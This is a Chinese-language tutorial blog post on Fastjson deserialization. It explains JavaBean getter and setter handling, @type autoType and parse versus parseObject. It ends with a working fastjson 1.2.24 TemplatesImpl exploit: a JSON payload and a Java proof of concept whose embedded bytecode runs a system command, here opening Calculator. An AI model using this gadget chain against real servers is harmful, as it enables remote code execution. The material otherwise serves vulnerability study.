Fastjson反序列化

Fastjson反序列化漏洞速通

参考文章:

JavaBean

  • 若干private实例字段;
  • 通过public方法来读写实例字段。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    public class Person {
    private String name;
    private int age;

    public String getName() { return this.name; }
    public void setName(String name) { this.name = name; }

    public int getAge() { return this.age; }
    public void setAge(int age) { this.age = age; }

    public boolean isChild()
    // 写方法:
    public void setChild(boolean value)
    }

如果读写方法符合以下这种命名规范,那么这种class被称为JavaBean:

1
2
3
4
// 读方法:
public Type getXyz()
// 写方法:
public void setXyz(Type value)

我们通常把一组对应的读方法(getter)和写方法(setter)称为属性(property)。例如,name属性:

  • 对应的读方法是String getName()
  • 对应的写方法是setName(String)

只有getter的属性称为只读属性(read-only),例如,定义一个age只读属性:

  • 对应的读方法是int getAge()
  • 无对应的写方法setAge(int)

类似的,只有setter的属性称为只写属性(write-only)。

很明显,只读属性很常见,只写属性不常见。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package myexp.fastjsonDemo;

public class userBean {

/*
公共的无参构造函数
字段私有属性
公共的getter setter 来读写实例字段
?可序列化 <没有强制要求>
*/

private String name;
private int age;
private String email;

public userBean() {

}

public userBean(String name, int age, String email) {
this.name = name;
this.age = age;
this.email = email;
}

public String getName() {
System.out.println("调用getter方法-getName\n");
return name;
}

public void setName(String name) {
System.out.println("调用setter方法-setName\n");
this.name = name;
}

public int getAge() {
System.out.printf("调用getter方法-getAge\n");
return age;
}

public void setAge(int age) {
System.out.printf("调用setter方法-setAge\n");
this.age = age;
}

}

枚举JavaBean属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import java.beans.*;

public class Main {
public static void main(String[] args) throws Exception {
BeanInfo info = Introspector.getBeanInfo(Person.class);
for (PropertyDescriptor pd : info.getPropertyDescriptors()) {
System.out.println(pd.getName());
System.out.println(" " + pd.getReadMethod());
System.out.println(" " + pd.getWriteMethod());
}
}
}

class Person {
private String name;
private int age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

fastjson

它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

使用 fastjson 无非是将类转为 json 字符串或解析 json 转为 JavaBean。

常用的方法:

1
2
3
4
JSON.toJSONString()
JSON.parse()
JSON.parseObject()
JSON.parseArray()

fastjson 特点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package myexp.fastjsonDemo;  

import com.alibaba.fastjson.JSON;

public class FastJsonExample {
/*
https://mp.weixin.qq.com/s/nKlffhdPbkuK16dSoMyZNg */
public static void main(String[] args) {

fastjsonTest();

}

public static void javaBeanTest(){
userBean user = new userBean();
user.setAge(18);
user.setName("hhhh");
user.getName();
user.getAge();
}

public static void fastjsonTest(){
/*
JSON.toJSONString() String 序列化:对象 → JSON字符串 输出JSON、网络传输、存储

JSON.parse() Object 底层解析:JSON字符串 → Object 需要灵活类型处理的场景

JSON.parseObject(json, Class) 指定类型对象 反序列化:JSON字符串 → 指定类型对象 解析已知结构的JSON

JSON.parseObject(json) JSONObject 反序列化:JSON字符串 → JSONObject 解析未知或动态结构的JSON
*/
userBean user = new userBean();
user.setAge(18);
user.setName("test1");
System.out.println("序列化 JSON.toJsonString ...");
String json = JSON.toJSONString(user);
System.out.println(json);

System.out.println("反序列化 JSON.parse ...");
Object object1 = JSON.parse(json);
System.out.println(object1);
System.out.println(object1.getClass().getName());

System.out.println("反序列化 JSON.parseOject(json, Class) ...");
Object object2 = JSON.parseObject(json, userBean.class);
System.out.println(object2);
System.out.println(object2.getClass().getName());

System.out.println("反序列化 JSON.parseObject(json) ...");
Object object3 = JSON.parseObject(json);
System.out.println(object3);
System.out.println(object3.getClass().getName());

}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
调用setter方法-setAge
调用setter方法-setName

序列化 JSON.toJsonString ...
调用getter方法-getAge
调用getter方法-getName

{"age":18,"name":"test1"}
反序列化 JSON.parse ...
{"name":"test1","age":18}
com.alibaba.fastjson.JSONObject
反序列化 JSON.parseOject(json, Class) ...
调用setter方法-setAge
调用setter方法-setName

myexp.fastjsonDemo.userBean@1e397ed7
myexp.fastjsonDemo.userBean
反序列化 JSON.parseObject(json) ...
{"name":"test1","age":18}
com.alibaba.fastjson.JSONObject

JSON.parseOject(json, Class)指定特定类的时候,此时会返回userBean实例。
可见不设置特定类,会是默认的JSONObject,同样也不会再次调用原本类中写的,仅仅是将JSON字符串进行反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static void fastjsonAutoTypeTest(){
userBean user = new userBean();
user.setAge(18);
user.setName("hhhh");

System.out.println("小于等于 FastJson 1.2.24 默认支持 AutoType");

/*
在序列化的时候,在toJSONString()方法中添加额外的属性SerializerFeature.WriteClassName,将对象类型一起序列化
*/
System.out.println("序列化 JSON.toJSONString(user, SerializerFeature.WriteClassName) ...");
String json = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(json);

System.out.println("反序列化 JSON.parse(json) ...");
Object object1 = JSON.parse(json);
System.out.println(object1);
System.out.println(object1.getClass().getName());

System.out.println("反序列化 JSON.parseObject(json)");
Object object2 = JSON.parseObject(json);
System.out.println(object2);
System.out.println(object2.getClass().getName());
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
调用setter方法-setAge
调用setter方法-setName

小于等于 FastJson 1.2.24 默认支持 AutoType
序列化 JSON.toJSONString(user, SerializerFeature.WriteClassName) ...
调用getter方法-getAge
调用getter方法-getName

{"@type":"myexp.fastjsonDemo.userBean","age":18,"name":"hhhh"}
反序列化 JSON.parse(json) ...
调用setter方法-setAge
调用setter方法-setName

myexp.fastjsonDemo.userBean@3e6fa38a
myexp.fastjsonDemo.userBean
反序列化 JSON.parseObject(json)
调用setter方法-setAge
调用setter方法-setName

调用getter方法-getAge
调用getter方法-getName

{"name":"hhhh","age":18}
com.alibaba.fastjson.JSONObject
  • 使用 JSON.parse(jsonString) 和 JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法
    • 其中 getter 方法需满足条件:
      • 方法名长于 4
      • 不是静态方法
      • 以 get 开头且第4位是大写字母
      • 方法不能有参数传入
      • 继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
      • 此属性没有 setter 方法
    • setter 方法需满足条件:
      • 方法名长于 4
      • 不是静态方法
      • 以 set 开头且第4位是大写字母
      • 返回类型为 void 或当前类
      • 参数个数为 1 个。
    • 具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
  • 使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _ - 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _ 和 - 进行组合混淆。
  • fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

parse与parseObject区别

人话:
如果@type指明了类名,使用parse的时候,不仅会得到对象,还会调用这个对象的setter
使用的是parseObject的话,不仅会得到对象且调用setter,还会调用getter

FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象

parseObject() 本质上也是调用 parse() 进行反序列化的。
但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。

所以进行反序列化时的细节区别在于:

  • parse() 会识别并调用目标类的 setter 方法
  • 而 parseObject()在不指定类型返回类型时,由于要将返回值转化为JSONObject,多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的getter方法来将参数赋值给JSONObject。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package fastjson;  

import com.alibaba.fastjson.JSON;

public class FastjsonParseDemo {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
//创建一个Java Bean对象
Person person = new Person();
person.setName("jade");
person.setAge(18);

System.out.println("--------------序列化-------------");

//将其序列化为JSON
String JSON_Serialize = JSON.toJSONString(person);
System.out.println(JSON_Serialize);

System.out.println("-------------反序列化(parse不指定特定的类)-------------");

//使用parse方法,将JSON反序列化为一个JSONObject
Object o1 = JSON.parse(JSON_Serialize);
System.out.println(o1.getClass().getName());
System.out.println(o1);

System.out.println("-------------反序列化(parseObject不指定特定的类)-------------");

//使用parseObject方法,将JSON反序列化为一个JSONObject
Object o2 = JSON.parseObject(JSON_Serialize);
System.out.println(o2.getClass().getName());
System.out.println(o2);

System.out.println("-------------反序列化(parseObject指定为Person.class)-------------");

//使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象
Object o3 = JSON.parseObject(JSON_Serialize,Person.class);
System.out.println(o3.getClass().getName());
System.out.println(o3);

System.out.println("-------------反序列化(@type parse)-------------");
String JSONAtType1 = "{\"@type\":\"fastjson.Person\",\"name\": \"jade\", \"age\": 18 }";
Object o4 = JSON.parse(JSONAtType1);
System.out.println(o4.getClass().getName());
System.out.println(o4);

System.out.println("-------------反序列化(@type parseObject)-------------");
String JSONAtType2 = "{\"@type\":\"fastjson.Person\",\"name\": \"jade\", \"age\": 18 }";
Object o5 = JSON.parseObject(JSONAtType2);
System.out.println(o5.getClass().getName());
System.out.println(o5);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
调用setter方法 setName
调用setter方法 setAge
--------------序列化-------------
调用getter方法 getAge
调用getter方法 getName
{"age":18,"name":"jade"}
-------------反序列化(parse不指定特定的类)-------------
com.alibaba.fastjson.JSONObject
{"name":"jade","age":18}
-------------反序列化(parseObject不指定特定的类)-------------
com.alibaba.fastjson.JSONObject
{"name":"jade","age":18}
-------------反序列化(parseObject指定为Person.class)-------------
调用setter方法 setAge
调用setter方法 setName
fastjson.Person
fastjson.Person@7506e922
-------------反序列化(@type parse)-------------
调用setter方法 setName
调用setter方法 setAge
fastjson.Person
fastjson.Person@4ee285c6
-------------反序列化(@type parseObject)-------------
调用setter方法 setName
调用setter方法 setAge
调用getter方法 getAge
调用getter方法 getName
com.alibaba.fastjson.JSONObject
{"name":"jade","age":18}

结论

fastjson-1.2.24

TemplatesImpl 反序列化 (条件苛刻)

  1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)/JSON.parseObject(input,Feature.SupportNonPublicField)
  2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField)
1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "haha",
"_tfactory": {},
"_outputProperties": {},
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

public class fastjson_1224 {
public static void main(String[] args) {
String a = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMaU4xdDAvQ0MzL2V4ZWM7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACoBAApTb3VyY2VGaWxlAQAJZXhlYy5qYXZhDAAKAAsHADAMADEAMgEAK29wZW4gLWEgL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMADMANAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgA1AQAOaU4xdDAvQ0MzL2V4ZWMBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAsADgAAAAwAAQAAAAUADwAQAAAAAQARABIAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAABgADgAAACAAAwAAAAEADwAQAAAAAAABABMAFAABAAAAAQAVABYAAgAXAAAABAABABgAAQARABkAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAB0ADgAAACoABAAAAAEADwAQAAAAAAABABMAFAABAAAAAQAaABsAAgAAAAEAHAAdAAMAFwAAAAQAAQAYAAgAHgALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAPAAkAEgAMABAADQARABYAEwAOAAAADAABAA0ACQAfACAAAAAhAAAABwACTAcAIgkAAQAjAAAAAgAk\"],\"_name\":\"haha\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(a, Feature.SupportNonPublicField);
}
}

这里的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties方法很明显是private Properties _outputPropertiesgetter方法,那么为什么我们可以使用parse来反序列化自动调用getter方法呢?

Fastjson 在反序列化 JavaBean 的时候,对 集合类 / Map 类的属性 有一套特殊逻辑:

  1. 如果 JSON 输入里出现了一个对象字段(比如 _outputProperties: {}
    Fastjson 会判断目标类里有没有对应的属性。
  2. 如果对应的属性类型是 Properties(其实就是 Map 的子类),Fastjson 的处理方式是:
    • 先尝试通过 getter 拿到现有实例
      (也就是调用 getOutputProperties(),看看当前对象里是不是已经有了一个 Properties 对象)
    • 如果拿到了现有实例 → 就把 JSON 子对象 {} 合并填充进去;
    • 如果拿不到 → 才会通过反射去 new 一个新的实例再赋值。
  3. 所以:只要 JSON 里面写了 _outputProperties,**无论你用 parse() 还是 parseObject()**,只要最终走到 JavaBeanDeserializer 的逻辑,就会触发 getter 调用。
Author

iN1t0

Posted on

2025-09-18

Updated on

2026-01-07

Licensed under